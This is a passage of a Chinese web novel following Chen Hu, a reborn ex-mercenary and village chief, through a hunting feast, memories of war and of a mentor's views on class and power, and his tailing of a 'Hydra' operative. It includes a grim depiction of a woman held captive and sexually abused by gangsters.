杨蓉这个点正在厨房忙碌,听到陈真的话后,她连忙放下手中的活,走到门口,眼中闪烁着期待的光芒。 “小虎,快进来!带这么多野猪回来啊?你可真了不起!”杨蓉的声音温柔,却带着溢于言表的骄傲。 “妈,瞧您说的!这都开春了,多的是老猎人满载而归,我这不算啥的!”陈虎一边说着,一边招呼着包专将野猪从拖车上拿下,而后转过身来,对杨蓉露出灿烂的笑容。 陈虎打猎归来的消息,很快就传开了。 张大娘一家和马老三一家子都收到了陈虎托人传话,晚间过来吃饭。 杨蓉也在征询陈虎的同意之后,把最近养殖场杂事多,她免费喊来的村里和她走得近,去养殖场处理杂事的一样邻里朋友,也喊来请人家吃一顿饭。 此刻,陈虎家的院子里面,大家伙纷纷围上来,望着那两头大猪带两头小猪,一个个的眼中都闪烁着赞赏的光芒。 “哇!陈虎,你这次出猎,可真是大丰收啊!”邻居老张头忍不住拍着陈虎的肩膀,笑得开怀。 “这几头猪得有几百斤吧?”李大婶掂量着一头野猪,连连点头道:“真是不可思议!” 哪怕陈虎之前大雪天打猎,已经猎获过更多的猎物,但他们在见到这么多野猪时,还是感到惊讶。 毕竟,陈虎自打雪天进山打猎后,得到收获的效率,实在是太高了。 就算是周围村子里面那些经验丰富的老猎人,也不可能像陈虎这样次次进山,都有大收获的。 正是因此,尽管他们已经有些习惯陈虎猎获满满,但还是感觉吃惊。 这时候,小囡囡陈瑶也凑上前来,用稚嫩的声音问道:“哥,哥,你是怎么抓到这些野猪的?有没有受伤?” “没有!我没事!”陈虎轻松地摇了摇头道:“哥哥哪儿能被野猪伤到?要是我被伤到了,那不是证明我比猪还笨吗?” 说话间,陈虎还有意无意地带着一丝略带声音的微笑,看向了一旁的包专。 而包专看到陈虎的笑容,听着陈虎话里的调侃,脸色也是不由得有些红了,然后更是低下头,不敢和陈虎对视。 包专现在的这副样子,完全就不像是一个魁梧大汉,反而像个娇气害羞的小姑娘。 “真是厉害!”陈瑶崇拜地眨动着大眼睛,转头就跟身旁刚下课回来的陆无双说道:“陆老师,你看,我就说我哥最厉害!” 陈虎见状,只得摇头苦笑着解释道:“我就是运气好而已!” 杨蓉见邀请来的人都已经来了,就直接招呼着众人帮忙搬来凳子,而后让众人进屋坐着道:“大家快进来!我再去多煮些饭!” 陈虎家里头,随后就开始热闹起来。 杨蓉与张大娘、李大婶她们开始忙活,刀砧声此起彼伏,空气中随后也开始飘散出了肉香味。 陈虎施展刀法,将一头小野猪快速剁好,就准备下锅炖汤。 身旁的亲朋们见了陈虎的刀法,纷纷惊奇和羡慕。 “陈虎,你教我点用刀的技巧,我也以后处理食材能处理得快些!”被喊来吃饭的肥叔,看着快速处理野猪的陈虎,恨不得他也有陈虎处理野猪的速度。 陈虎闻言,笑道:“肥叔,您让我教您,那估计我得教好久!我这刀法,其实就是快而已,野猪切得也不好。但你想要有我这么快的刀法的话,那你就得经常去山林里面和野兽搏命,多打猎,才能有这速度!” “那算了吧!我还是就在旁边看看吧!我可没你打猎的杀性!”肥叔闻言,自知他不是打猎这块料,笑着打趣道。 陈真在旁边看陈虎剁野猪,看得入迷,忍不住插话道:“肥叔,你不学的话,那我学!我要和我哥一起进山打猎,练出我哥这样的刀法,这样的话,我长大以后也能和我哥一样,进山打猎,养家糊口!” 众人听着陈真那奶声奶气,幼稚却又真诚的话,不由得哈哈大笑起来。 肥叔更是对陈真竖起来了大拇指,笑着夸赞道:“这小子可真可爱,早晚能成大器!” 第一卷 第146章 珍贵的经历 晚饭如火如荼的准备着,野猪肉经过多番料理烹饪后,香味四溢。 大家围坐在桌然后,桌上已经摆满了丰盛的菜肴,一大盘野猪的肉也已经被制作得色泽诱人。 “来!大家举杯庆祝!”陈虎打破了欢快的气氛,举起酒杯,笑道:“大家愿意捧场过来吃顿饭,我陈虎自然求之不得!老三,让你老婆也跟着上桌,别忙活到最后,就吃点剩菜剩饭了。” 众人跟着纷纷举起酒杯,齐声祝致道:“干杯!为了这次陈虎的丰收!” “我说你们可别光顾着喝酒,赶紧吃肉啊!”陈虎哈哈一笑,他并不在意大家对他的赞美,心中更多的是对家的眷恋。 坐在桌旁,陈虎看着那一张张笑脸,心中感到一阵温暖。 在这喧嚣之中,仿佛整个世界都只剩下这份幸福。 山谷的风声,夜空的星辰,都在为这热闹的场面喝彩。 饭桌上,欢声笑语不断,亲友们互相诉说着自己的趣事。 整个家中,充满了温暖的氛围。 陈虎的心里,也暗暗发誓: 他要继续努力,为大家带来更多的欢笑与丰收。 不仅仅是这四头野猪,还有未来的日子里,他都会为了家庭,勇往直前! 温暖而和谐温馨的环境,总是一闪即逝的。 看着眼前热闹的一幕,陈虎的脑海之中,不由得回想起了那是在东欧发生的他执行任务的一次经历。 在东欧的一个偏远战场上,寒风呼啸,弹痕累累的土地上,满是硝烟和伤痕。 作为一名经验丰富的雇佣兵,陈虎此刻正躺在一处废弃的仓库之中,额头上面渗出的冷汗,与泥土混在一起。 夜色笼罩着陈虎,四周是寂静与紧张的气息。 陈虎的任务本应简单无比:摧毁敌人的补给线,但事情的发展远超预期,一切都变得一团糟。 在行动进行中,敌人突如其来的增援部队让他和队员们措手不及。 混乱中,陈虎失去了所有的武器,队友们一个接着一个地被击倒。 最后,陈虎只能独自一人逃跑。 他在黑暗的森林之中穿行,心中无比焦急,他知道一旦被敌人发现,那他将没有任何活命的机会。 星空下,陈虎的每个呼吸都变得沉重,仿佛都在为他即将到来的结局,做着最后的挣扎。 逃了一夜,陈虎的体力接近极限,最终迷失在了阴冷的森林里面。 就在他感到绝望,准备放弃的时候,前方的黑暗之中,闪烁起了点点的灯光。 陈虎用尽最后的力气,向声音与光明的方向爬去。 那是一座古老却破败不堪的庄园,墙壁斑驳,门窗半开,仿佛多年没人照料。 陈虎毫不犹豫地推开了门,走了进去。 虽然庄园从外面看着破败,但庄园里面却并非没有人在。 庄园里面,人影晃动,一个中年男子站在一堆篝火前,脸上满是沧桑与疲惫。 他的身旁,放着几瓶酒和几种简单的食物,很显然,他是在独自度过漫长的孤寂。 看到陈虎闯入,中年男人的脸上流露出惊讶,但更多的是怜悯与关切。 “你受伤了吗?”男人走近,低声问道,他的声音温和,仿佛带着某种难以言喻的力量。 尽管陈虎摇头否认,但他浑身上下,却已经满是疲惫不堪了。 没等陈虎回答,中年男人便开始找出一些药品与绷带,动作熟练而轻柔的救治陈虎。 中年男人替陈虎处理了一些擦伤,给陈虎倒了一杯酒,轻轻说道:“喝一点!这样会好受些!” 那一刻,陈虎感到从未有过的温暖,这种感觉对于一个常年漂泊于战火之中的雇佣兵来说,显得如此珍贵。 随后,中年男人自我介绍,名叫彼得,以前是一位庄园的主人,但由于战争的影响,他失去了家园与亲人,现如今寂寞无依,过着隐居的生活。 陈虎和彼得两人随后就这样随意攀谈,彼得用他独特的幽默与温暖,让得陈虎的心逐渐平静下来。 夜色愈加浓烈,伴随着远处的枪炮声,陈虎意识到他自己并不安全,然而,他本能地想要在这里多停留片刻。 彼得察觉到了陈虎的恐惧与紧张,随后轻拍着陈虎的肩膀,一脸坚定地说道:“没事的!来到我这里,就会受到保护的!” 就这样,日子一天天的过去。 在庄园里面的日子虽简陋,却让得陈虎感受到了久违的安宁。 彼得教会了陈虎如何种菜、照料动物,并一起分享烹饪的乐趣,陈虎的心慢慢从过去的阴影之中走出,看到了一种久违的生活希望。 然而,战火并没有放过他们。 某一天夜里,庄园外面传来急促的脚步声与低沉的厮杀声。 陈虎立即意识到敌人追踪到了这里,他迅速站起身,看着彼得,眼中闪过一丝坚定道:“你赶紧离开!我来对付他们!” 然而,彼得却毅然地站在了陈虎的面前道:“我们是朋友,这是我应该做的!” 在那一瞬间,陈虎感受到了彼得的坚定,他内心深处的那种无助与孤独,在这一刻得到了真正的共鸣。 为了保卫这片短暂的温暖,陈虎与彼得并肩而战。 他们用庄园内仅存的武器,与有限的资源,抵挡着敌人的进攻。 在无尽的黑暗中,两个孤独的灵魂在战火中彼此依偎,流淌出无尽的勇气与希望。 经过一夜的激战,终于,随着晨光初露,敌人被击退,陈虎与彼得共同守住了这份温暖。 尽管他们流血流汗、遍体鳞伤,但这种团结的力量,却让得他们更加坚定了守护彼此的信念。 “我们可能永远无法回到从前,但这里是我们的家,而你也是我家的一部分。” 彼得用微笑的话语,让得陈虎感受到一种归属感。 哪怕世界再如何动荡,但他们心中的这份温暖,也将永远的陪伴着他们! 在厄运与希望的交织中,陈虎与彼得之间的友谊,不仅仅是一段温暖的回忆,更是一种内心深处的慰藉。 他们在残酷的现实之中,找到了一处宁静的港湾,携手面对未来的每一个挑战。 这段美好的回忆,仿佛是一颗种子,静静地在陈虎的心中发芽。 随着时间的推移,它不断吸收着阳光和雨露,成长为陈虎内心深处的一部分。 而这些珍贵的经历,也是渐渐地塑造出了今天的陈虎,使得陈虎更加坚韧和富有智慧。 陈虎回忆中的每一个瞬间,都像是阳光下的露珠,闪烁着往昔的光辉,滋养着陈虎未来的道路。 也正是这些回忆,赋予了陈虎勇往直前的动力和面对挑战的勇气。 第一卷 第147章 受尽屈辱的刘翠翠 天阴沉沉的,像是被厚厚的云层压得透不过气来。 街道两旁的房屋,灰色的砖瓦粘满了黑乎乎的尘土,门前的水缸早已干涸,偶尔遗留几片草叶的枯黄,像是这个时代的无声控诉。 路边的摊贩呼喊着,吆喝声和油烟味交织在一起,仿佛在诉说着生活的不易。 人们从晨曦到黄昏,总是疲惫地忙碌着,脸上挂着一层薄薄的愁苦,眼中满是麻木与迷茫。 他们的足音在破旧的路面上回荡,踩出一串串无奈的律动。 这条街是城里面最繁忙的地方,虽说“繁忙”,但也不过是人们惯常的生活方式。 腥味和烟火气,弥漫在空气之中,仿佛在提醒着每一个熙熙攘攘的人,生活的苦与乐交织在一起。 街边的几家小店外,佝偻着背的摆摊人颤巍巍地靠在门口,包里面的食物常常是三天前的剩饭,黑乎乎的米饭和清汤用铲子随意的堆在一起,显得无比卑微。 小孩子们在街头窜来窜去,肮脏的衣服上沾满了泥土,但他们的嘴角却挂着针尖般的笑,仿佛在这一片肮脏和无奈之中,找到了属于他们的乐趣。 走过几家小摊后,路面开始变得越来越糟,砖头缝隙间的草丛长得茂盛,脏水从附近的巷子里面慢慢流淌,散发出一股刺鼻的恶臭。 巷子的尽头,一幢破旧的厂房,屹立而立,像是经过岁月洗礼的老者,斑驳的墙面上爬满了青苔。 几扇铁门半掩着,里面传出的低沉声响,时不时的让人心生不安。 走进那些厂房,似乎能够感受到一种窒息的压迫感,周围的空气沉重得如同一块潮湿的布,令人透不过气来。 厂房的窗户玻璃早已破损,偶尔有飘荡的风掠过,透进去的光线显得阴暗而苍白。 地上是混乱的机械残骸,生锈的金属件交错着,仿若岁月在此停滞,留下的是沉重的印记。 在这份破败的厂房角落,汪洋的脏水在地上流淌,像是昔日辉煌的泪水,渗透着无尽的绝望。 地面上,一个浑身肮脏的女人,正虚弱地躺在那里。 她的衣物,早已褴褛不堪。 黑色的污垢黏附在她的皮肤上,蚊虫聚集在她的身边,时而扇动翅膀,时而停留在她干瘪的肢体上。 女人的面容,已经被折磨得不成人形,眼神较之往日,生机早已失去,只有那双暗淡的眼眸之中,透出几分恳求。 她的身边,是一滩污水,污水泛着微醺的气息,表面浮着几片死去的树叶,薄薄的一层膜在水面上若隐若现,仿佛是命运对她的无情嘲讽。 她努力伸出手,指尖微微颤抖,向着那滩污水去抓取,渴望在污水之中,寻求一丝解脱。 即便是在这个肮脏的地方,她的内心仍然涌动着生的渴望。 她轻轻俯身,面颊几乎贴近水面,嘴唇微微翕动,开始舔舐起地上的脏水。 那一刻,时间仿佛停滞,周围的杂音全然消失,只剩下她舔舐污水的声音,如同一曲无声的悲歌,在这破旧的厂房内回荡着。 她的心中,早已没有了羞耻,只有一种深深的绝望和对于生存的执着。 即使这一切都已不再有意义,她依然在努力地追寻那一丝温暖,哪怕是通过窒息的污水。 就在她努力遗忘着近日来遭受的非人折磨,靠着那黑乎乎发臭的脏水解渴时,一个男人推开了满是锈迹的厂房大门。 紧接着,对方捂着鼻子,伴随着皮鞋的“啪嗒、啪嗒……”的声响,朝着女人走来。 这个三十岁的男子身材魁梧,走路时,身上带着一股强烈的气场。 他的黑色棉服紧贴着健壮的身躯,宽大的领口随意敞开,露出里面粗糙的T恤,搭配一双光亮的皮鞋,显得格外醒目。 皮鞋在地面上发出沉稳的脚步声,似乎每一步都在传达一种威严与压迫。 他的脸庞棱角分明,颧骨高耸,眉毛如同刀削般浓黑而粗犷。 走近女人后,他用一种极为嫌弃的目光,对着地上的女人,一阵打量道: “啧啧啧……乡下的猪也不至于那么脏才是!也不知道那些个家伙是怎么玩得下去的?” 女人闻言,抬头望向男人,颤抖着拨开散乱遮挡视线的头发,望向男人的眼神之中,带着祈求。 她正想开口,却见男人拿起一根水管对准了她。 接着,男人就满脸嫌弃的拧开了水管阀门! 下一刻,水管中的水流,就冲着女人喷涌而出! 水流如同猛兽般扑面而来,瞬间便将女人浑身淋湿。 冰冷的水击打在她的肌肤上,令人牙齿打颤,麻木的感觉迅速蔓延。 她的呼吸被突如其来的冷流压迫,头发像是被疯狂的海浪冲击,贴附在她的脸颊上,遮挡住了她的视线。 她拼命试图抵挡,双手无助地划动,却被水流冲得踉跄后退。 水滴从她的身上滑落,模糊了她的泪水和脏污,混合在一起,形成了一个凄凉的画面。 水管激荡的轰鸣声,在嘈杂的环境之中,显得格外刺耳,带着羞辱与绝望,她的心脏如同被重锤击打,感受到无尽的屈辱与悲哀。 男人微微眯眼,毫不在意的看着女人惊慌失措,然后又逐渐失去动静。 “强子那小子倒是有点眼光!只可惜脑子不好使,玩个女人还需要费这么大劲儿!” 男人见到地上的女人被水流冲洗干净后,那还算端正的面容与紧贴凹凸有致身子的单薄衣服,忍不住咋舌出声。 听到“强子”这个名字,女人顿时神情一阵动容,微微张口,却没有出声。 眼前的女人,正是刘翠翠! 自打那日马加爵,这位爵爷在赌场里面身死后,成枝豹就不可能放过刘翠翠这个女人! 当然,对于成枝豹这样的人而言,一个还算有点姿色的寡妇,扔到河里头喂鱼,显然是太浪费了,他自然是带着“物尽其用”的原则,来惩罚刘翠翠! 于是,刘翠翠便被带到了县城里头。 期间,她刘翠翠倒是彻底体会了一把,什么叫做“生不如死”! 见刘翠翠也算是冲洗干净了,男人就拿起一根绳索,直接套到了她的脖子上。 接着,男人就拽着刘翠翠,往厂房的一处堆满干草的角落走去。 刘翠翠没有挣扎,任由绳子拉扯着往里走。 她走到干草堆前,就十分自觉的躺了下去,同时,她的嘴唇颤抖着出声道: “强子,你们把他怎么了?” 刘翠翠的声音颤抖着,语气却显得十分平和。 男人上前一把扯开刘翠翠单薄的衣衫,冷笑回应。 “强子这孙子当了二五仔,豹爷虽说已经死了,但他这个叛徒要是能讨个好,兄弟们自然也没脸混!” “怎么?你还关心这孙子呐?” “啧啧啧……早在豹爷到县城里头的时候,这孙子就被我们找到,然后直接拖到河边,套了麻布绑着砖头,沉下去喂鱼了!” “你要是早点下去的话,估计还能在黄泉路上,和他结个伴呢!” “不过,我咋个记得你有男人的啊?” “真是忠贞啊!当了寡妇还找了情人,连你家那男人都忘了!都成寡妇了,还惦记着情人,连你家那男人都忘了啊?!” 刘翠翠闻言,没再吭声,然后安静的躺下,冷静的面对着这她近来已经习以为常的恐怖的一切。 第一卷 第148章 你知道社会的运行规律吗? 很快,男人就结束了发泄。 然后,男人穿好衣服后,就啐了口唾沫,接着从门口端来一碗早已冷透了的米饭,最后锁上了厂门离去。 刘翠翠看着那碗冷米饭,端起来又放下,望着米饭,沉思良久。 突然,她就直接心一横,砸破了那只瓷碗。 随后,刘翠翠就从地上捡起一块碎瓷片,然后深吸了一口气,将目光投向了那扇锈迹斑斑、紧紧关上的厂房破铁门…… 总有人说敢死怎么不敢活着? 可对于大部分寻死的人而言,寻死都是一种逃避方式。 比起活着所需要面对的一切,死亡反倒是一种懦弱的抉择! 北方的春天,其实也能够冻得人腿脚不灵光。 尽管寒冬已经过去,但上河村的村民们,还是穿着厚重的棉袄。 眼下,气候还冷,田里也没办法打理营生,所以走门串巷,就成了村民们此时的生活常态。 可陈虎却闲不下来,他一边是答应了陆无双的学校扩建、扩招,一边又是许诺了帮助孙若薇开启“第一轮天使投资”了。 那头,孙若薇已经忙活着去上下打点,整合人脉,以及想办法拿出第一笔款项了。 这头,陈虎还得前后跑着,一边去申请学校扩建、公司规划设计的文件,一边还得忙着扩建后的学校招工。 虽然是在乡下村子里,陈虎这个村长,在这个年代里,完全可以说是上河村一亩三分地的土皇帝,扩建学校这些不用审批也问题不大,但陈虎为了防止以后出问题,惹出不必要的麻烦,还是决定正常该走的手续,还是要走的,哪怕麻烦一点。 反正,陈虎同时还要忙公司规划设计的事情,一样要跑的。 相较于进山打猎,此刻有些焦头烂额的陈虎,尽管没有风雪挡路,也没有深山野兽威胁,却像是更累。 包专每日给陈虎开着车,来回在镇上以及村子里面转,他看着陈虎跑前跑后,心里也是极为不解。 此时,陈虎刚从镇上往回走,坐在后座上,手里拿着一份文件不断端详。 前面开车的包专为了不影响陈虎阅读文件,开车时不免得小心翼翼的看路,尽量往平坦的地方上走,不让车产生动静。 但镇上来往村里的乡道,都太过于颠簸,尽管包专开车再小心翼翼,也避免不了车子摇摇晃晃的。 陈虎无奈,只得放下文件,依靠在后座上,自个儿动手揉脑袋。 这时,包专才忍不住小心翼翼的开口道: “虎哥,您这两天跑那么多遍,这是图啥?我就一粗人不太明白里头的弯弯绕绕,但我想这事儿虎哥你自己做,咋个就没想到找人跑腿呢?” “天哥那儿知会一声,多的是人愿意来回跑这一趟不是?” 陈虎闭目养神,闻言不由得轻笑一声,随后也不睁眼,漫不经心的回应道: “你知道一个大型企业从创办再到正常经营,需要准备些什么吗?” 包专听到陈虎这话,不由得愣了愣,然后疑惑地摇了摇头道:“不是开厂子,然后找人卖出去吗?” 陈虎当即苦笑一声,然后耐心解释道: “那是做小生意!好比你买一袋子红薯,自己家地里头种下,收成时挖出来,然后拖到街上叫卖就行!” “但是你要有一万亩田,那你要怎么做?” “首先,粮种你怎么选、从哪儿进货,人工怎么招、怎么安排工作量和签订合同,以及人员的用餐、工资发放,需不需要管理等等。” “创办一家公司,是一个复杂而具有挑战性的过程,很多关键性的因素,你都需要考虑的。” “比如商业想法与市场需求。” “你要确定你的商业想法,是否解决了一个特定问题或满足某种需求。” “再比如启动资金的来源,制定预算以确保公司在启动和运营初期的财务的可持续性……” 接下来的时间内,陈虎简略的说明了很多点,听得包专脑袋晕乎乎的。 “虎哥,听你说起来咋个那么难呢?我还以为赚钱就是投了本金,然后找人干活儿,直接做出来东西叫卖就行了。” 陈虎闻言,微微摇头,然后语重心长的应道: “你错了!任何行业、领域,都有着自己庞大的系统。” “在你不了解这个系统的运行规则之前,你需要经过漫长学习。” “否则的话,你闭着眼就靠着一颗自以为是的心去行事,那你走到哪儿都会碰壁的……” 同样的话,陈虎曾经在一个性格古板的怪老头嘴里,也同样听见过。 对于易天行的思维与认知,陈虎很久以后回想起来,能想到评价这个人的只有一句话: 他理智得不像个人!绝大多数人都完全无法理解他这样的人。 前世陈虎的后半生,每每回想起这性格古怪的老头时,都没能想明白易天行曾对他说过的很多话。 那些系统性又或是白话的内容,总是只言片语中,却蕴含着一个个深奥的底层规则。 有时候,陈虎听得懂,但却并不能理解他背后的机理。 在那个遥远的夏日孤岛上,易天行这个怪老头驱使着陈虎,整日下海摸鱼、上树摘椰子的第三日。 这个怪老头自个儿在沙滩上,画了一个巨大的十九纵横棋盘,并招呼着陈虎过来下棋。 那时的陈虎,对围棋自然是一窍不通。 但怪老头在这件事情上面,却显得十分有耐心。 他不仅从最基础的规则给陈虎讲起,并且,他每一步落子后,也都会对陈虎细说着背后的棋形、棋路。 就在陈虎跟着学了一下午,有些不耐烦时,易天行却一屁股的坐在沙滩上,悠悠开口道: “你知道社会的运行规律吗?知道为什么有的人一生下来就锦衣玉食,福泽子孙后世?有的人尽管拼尽全力,但也只能凑个温饱,他们一遇到意外,不仅承担不起那些事故所带来的风险,甚至于有可能直接倾家荡产,走上天台吗?” 易天行慵懒的话语声,直接就刺激到了陈虎记忆深处的一部分。 他的父母因为下岗浪潮,无法维持生计,将他扔到了福利院门口。 两人之后一起吃下了一碗毒饺子,可后来陈虎却得知有的人暗中卷走了下岗工人的政府补贴,去到了海外,潇洒一生! 想到此处,尽管阳光晒得沙滩发烫,陈虎却仍旧忍不住打了一个冷战,喃喃开口问道:“为什么?” 第一卷 第149章 我没能成为那位圣君! 易天行透着笑意的眸子里面,带着一抹阴郁,像是一个睿智的智者在审视陈虎。 瞬间,陈虎便感到他全身上下,没有任何秘密可言。 这时,易天行接着漫不经心的开口道: “阶级壁垒是指在社会结构中,不同经济和社会阶层之间存在的系统性障碍。” “这些障碍限制了个体或群体之间的流动性,往往表现为资源的不平等分配、教育机会的差异,以及社会网络的隔离。” “阶级壁垒不仅影响人们的经济状况,还影响他们的社会地位、文化资本和生活机会。在社会学的视角下,阶级壁垒可以从多种维度进行分析,包括结构性不平等、文化传承和社会资本的缺乏。” “这样的壁垒会导致社会流动性下降,使得低收入家庭难以改善自身处境,进而加深社会的不平等。” “因此,理解和解构阶级壁垒,是实现社会公正和促进机会平等的重要任务。” 说到此处,易天行那满是褶皱的脸上,却是露出一抹苦笑,接着道: “想象一个巨大的马拉松赛道,跑道的开端同样宽广,但随着赛程的推进,跑道逐渐变窄,甚至于有的地方增加了各种障碍物。” “起跑时,所有的选手看似在同一起跑线,但实际上,某些选手拥有高性能的跑鞋和训练师,而另一些则只能用破旧的鞋子和自己对抗艰难的环境。” “在这场比赛中,富裕的选手们可以在每个转角处获得额外的助力和资源,轻松跃过障碍,而那些处于下层阶级的选手们则需要努力攀爬,艰难地穿越障碍,有时甚至面临被完全挤出赛道的风险。” “赛道的终点并不公平,成功的标准往往取决于起跑时的条件,而非个人的努力或才能。” “尽管所有人都有机会参赛,但真正的胜利者往往是在不平等的起跑线上。被困在体制与环境限制中的人,注定要付出更多的努力,才能够看到赛道的尽头。” 陈虎闻言,不由得深吸了一口气,然后点点头,脸上满是落寞道: “先上岸的人会挡住后来者的路,先登顶的人会占据山顶的位置,并给自己的孩子提供更高的起点,对吗?” 易天行微微颔首,满意的望向陈虎道:“不错!总结得很精辟!” “当然,上升渠道一直有,只不过绝大多数人都挣扎在温饱线上,看不到,也摸不到。对于普通人而言,活在当下,就已经需要拼尽全力了。” 陈虎细细咀嚼着易天行所说的内容,良久后,他才抬起头,目光灼灼的望向易天行道: “你对我说过的你去A国的目的,我想知道结果。” 易天行闻言,倒是十分坦然。 满是岁月痕迹的脸上,没有流露出丝毫异样,然后像是习惯性地伸手从兜里面掏烟和火,但却摸了个空。 不由得,易天行耸了耸肩,直接彻底躺倒在沙滩上,接着面朝天空,缓缓说道: “在一个微弱的、灰暗的晨光中,意识流淌得如同腐臭的河流,迷雾笼罩着城市的每一个角落。” “墙壁上,巨大的海报展示着一张冷漠的面孔,永远注视着每一个行人的无辜,仿佛在提醒他们:权力,终将摧残真理,扭曲人性。” “在这个‘平等’的社会中,绝对的权力恰似一把锋利的刀刃,切割着每一个民众的思想与愿望。” “随着日子的推移,权力如同感染的病灶,逐渐渗透到体制的每个细胞。” “人们开始忘记自己曾有的梦想与追求,眼中的光芒被无情的现实熄灭,只剩下对命令与控制的盲目服从。” “即使是在最黑暗的深夜,权力的持有者也在阴影中潜藏,伺机而动。” “他们的意志通过冰冷的电报、无处不在的监控和扭曲的新闻传播,扭曲着真相,压制着异议,那些不屈者的声音被无情封锁。” “每一桩丑闻、每一项指控,都在历史的清洗之中,被粉饰一新,只留下掌控一切的‘真理’。” “在这样的世界里,贪婪与腐败犹如蛀虫,悄然滋生于权力的每个角落。” “他们流淌着,攫取着资源,掠夺着那些曾经孕育希望的梦想。” “那些曾肩负重任的领导者,逐渐被自己的虚荣所吞噬,最终沦为权力机器中的一颗齿轮,失去了个人的灵魂和道德的坚持。” “人们的眼神之中,渐渐失去了光彩,过去的原则与信仰在绝对权力的重压下被践踏得粉碎。” “那些有良知的个体,渴望改变却无能为力,在沉重的现实面前,他们的呐喊被无形的铁拳压制,最终只留下无奈与绝望。” 易天行的语气从一开始的平缓,逐渐开始低沉,说到最后,他闭上了那双浑浊却能洞察世界真相的眼睛。 缓了好一阵子,易天行才接着喃喃出声道: “我也曾和你一般,认为圣君独裁是最快捷的确认这条路是否行得通的办法。” “可我错了,尽管我一再认为一个社会结构,应该建立在最为公平、公正的基础上,但当国家机器仅以一个人的意志运转时,独裁的魔咒还是不可避免的发生。” “为了让整个政府都依照我既定的路线行动,为了让民众的生活,按照我希望的方向发展成另一幅景象,我成了一个彻头彻尾的独裁者。” “但很可惜,我没能成为那位圣君!” “极权主义给了我一个警示,让我看到了个人自由与真理在压迫下的脆弱,以及国家对思想和现实的全面控制,会将理想中的那位‘圣君’,变成怎样的一个怪物!” 陈虎有些似懂非懂地听完了易天行的讲述,思索许久,他这才出声问道:“你的意思是,你最终被权力腐蚀了?” 易天行闻言,缓缓睁开了双眼,语气苍凉的点头应道: “也许我曾是理想主义者的统治者,但在权力的诱惑面前,逐渐蜕变成了狡猾的操纵者。” “为了政治目的,我开始将谎言伪装成真理,利用恐惧与操控,逐渐吞噬了人性的光辉。” “原本满怀理想的领袖,如今却成为了噩梦的化身,背离初心,沉迷于权力的游戏。” “在这个反乌托邦的世界里,个体的声音被淹没,思想的独立被割裂。” “权力,让人们在欲望的深渊之中疯狂沉沦,失去了对真理的追求与对良知的坚守。” “腐蚀在潜移默化中蔓延,直至整个社会的道德底线,化为乌有……” 陈虎对于易天行这位性格古怪的老人,一直都是亦师亦友的对待。 不得不说,易天行的许多观点,在那段短暂相处的时光中,为陈虎彻底重塑了世界观、价值观。 也许,陈虎没能在那次护送任务中遇到易天行的话,陈虎从始至终都只会是一个仅懂得收割生命的刽子手。 第一卷 第150章 九头蛇 就在陈虎回村的路上,他望着窗外沉思那段过往时,一个路边中年男子的身影却是让他陡然间,从和易天行的回忆之中,清醒过来。 陈虎眼中闪过一抹精光,当即大喊: “停车!” 包专闻声赶忙一脚踩下刹车,而后有些不解的回头望向后座的陈虎: “什么事儿虎哥?” 陈虎没有应声,而是透过车窗,看向后方那名男子。 那男人看上去三十来岁,乍一眼好似朴实无华,除了身形壮实外,周身透着一股庄稼汉的粗犷气息,仿佛从田间地头刚刚干完活回来的农夫。 但他的那双眼睛,却闪烁着不容小觑的精明,仿佛能够洞悉一切,深邃而阴暗,带着一丝危险的气息。 他的脖子上露出半截纹身,似乎是某种象征,给他那原本和善的外表,增添了一层神秘与威胁感。 陈虎死死盯着那半截纹身。 纹身露出的半截是一只红色的蛇头,对于这个纹身,陈虎可记得再清楚不过! 因为他前世曾顶着这个纹身,生活了大半辈子! 他绝不会认错! 这个纹身的全貌,应该是一只黑红相间的九头蛇,正是陈虎曾效命的组织。 组织全名就叫九头蛇! 陈虎很快平复下情绪,他清楚组织的爪牙遍布世界各地,服务对象也尽数不同。 所以,境内存在着九头蛇的人员,其实并不奇怪。 见陈虎紧紧盯着那人,包专不由得试探性的轻声开口问道: “虎哥,那人咋地,要把他叫过来吗?” 陈虎闻言,深吸一口气,旋即摆了摆手道:“接着开车,到了下个路口再停下。” 包专有些不明所以,但也没有多问,当即便再度发动汽车,直到几公里外的一处岔路口,这才停下车来。 陈虎当即拿上他之前摆放在车上的仿制式手枪取出,而后直接下车,并对包专吩咐道: “别管我!你往回开,等傍晚时候,再回到这儿接我!” 说罢,陈虎没给包专疑惑的功夫,径直一头扎进了路边高过人身的干枯的灌木里面,眨眼间就没了踪迹。 包专愣在原地,不明所以,最后只能依照陈虎的吩咐先行回去。 而这边下了车的陈虎,却没走大道,反倒游走在荒地、灌木中,很快就朝着先前他见到那有着纹身男人的方向,直接摸了过去。 不多时,陈虎便寻到了那男人的身影。 陈虎不动声色的躲在暗处,看着那男人脖颈处露出的半截纹身,再度确定了对方的身份之后,开始愈发小心的隐匿身形,跟在那男人的身后。 陈虎一边远远的跟着那男人,一边回想着有关于他所知道的组织信息。 “九头蛇”是一个神秘而强大的雇佣兵组织,活跃于全球多个热点地区、局部冲突和政治动荡的国家。 该组织的名称灵感,来源于希腊神话中的九头蛇,象征着其多面性和复杂性。 每当一个头颅被斩断,新的头颅便会取而代之,寓意着组织的韧性与再生能力。 “九头蛇”的成员来自世界各地,涵盖退役军人、特种部队士兵和多国的安全顾问。 他们经过严格的筛选与培训,拥有超凡的战斗技巧、极高的纪律性以及对各种武器和战术的熟练掌握。 组织内部分工明确,从情报收集、反恐行动到护送任务,成员们能够执行各种高风险任务。 该组织的运作非常隐秘,通常通过中介公司或私人承包商与客户建立联系。 这使得“九头蛇”的行动,更具有隐蔽性和灵活性,避免了直接与任何政府机构的正面冲突。 他们的目标包括国家安全、企业利益以及私人交易,常常在国际舞台上面,扮演着“隐形”的角色。 “九头蛇”也以其严苛的内部管理而闻名,组织成员间建立着强烈的忠诚和信任关系,违背者将面临严厉的惩罚。 此外,他们还设有一套复杂的奖励机制,以吸引和留住最优秀的战士,确保在竞争激烈的市场中占据优势。 在二十一世纪后,尽管“九头蛇”以高效的专业技能和令人畏惧的声誉而闻名,但其背后的秘密与真实意图却鲜为人知,使得外界对该组织充满了敬畏与猜测。 在这个风险与利益并存的世界中,“九头蛇”无疑是一个值得关注的力量。 那男人的脚步,最终停在了一处荒芜平原地带。 陈虎紧紧跟在那男人的身后,但当他看到这片荒原上那一条条崭新的车辙时,不由得微微眯眼,细细打量。 不多时,一辆黑色越野车就出现在了陈虎的视线之中。 那男人随后跟着上了车,而后汽车留下了一串尾气,消失在了陈虎的眼前。 望着汽车逐渐远去的影子,陈虎皱着眉头,深吸了一口气,然后转身离开。 追查九头蛇对陈虎来说十分有必要,但却不急于一时。 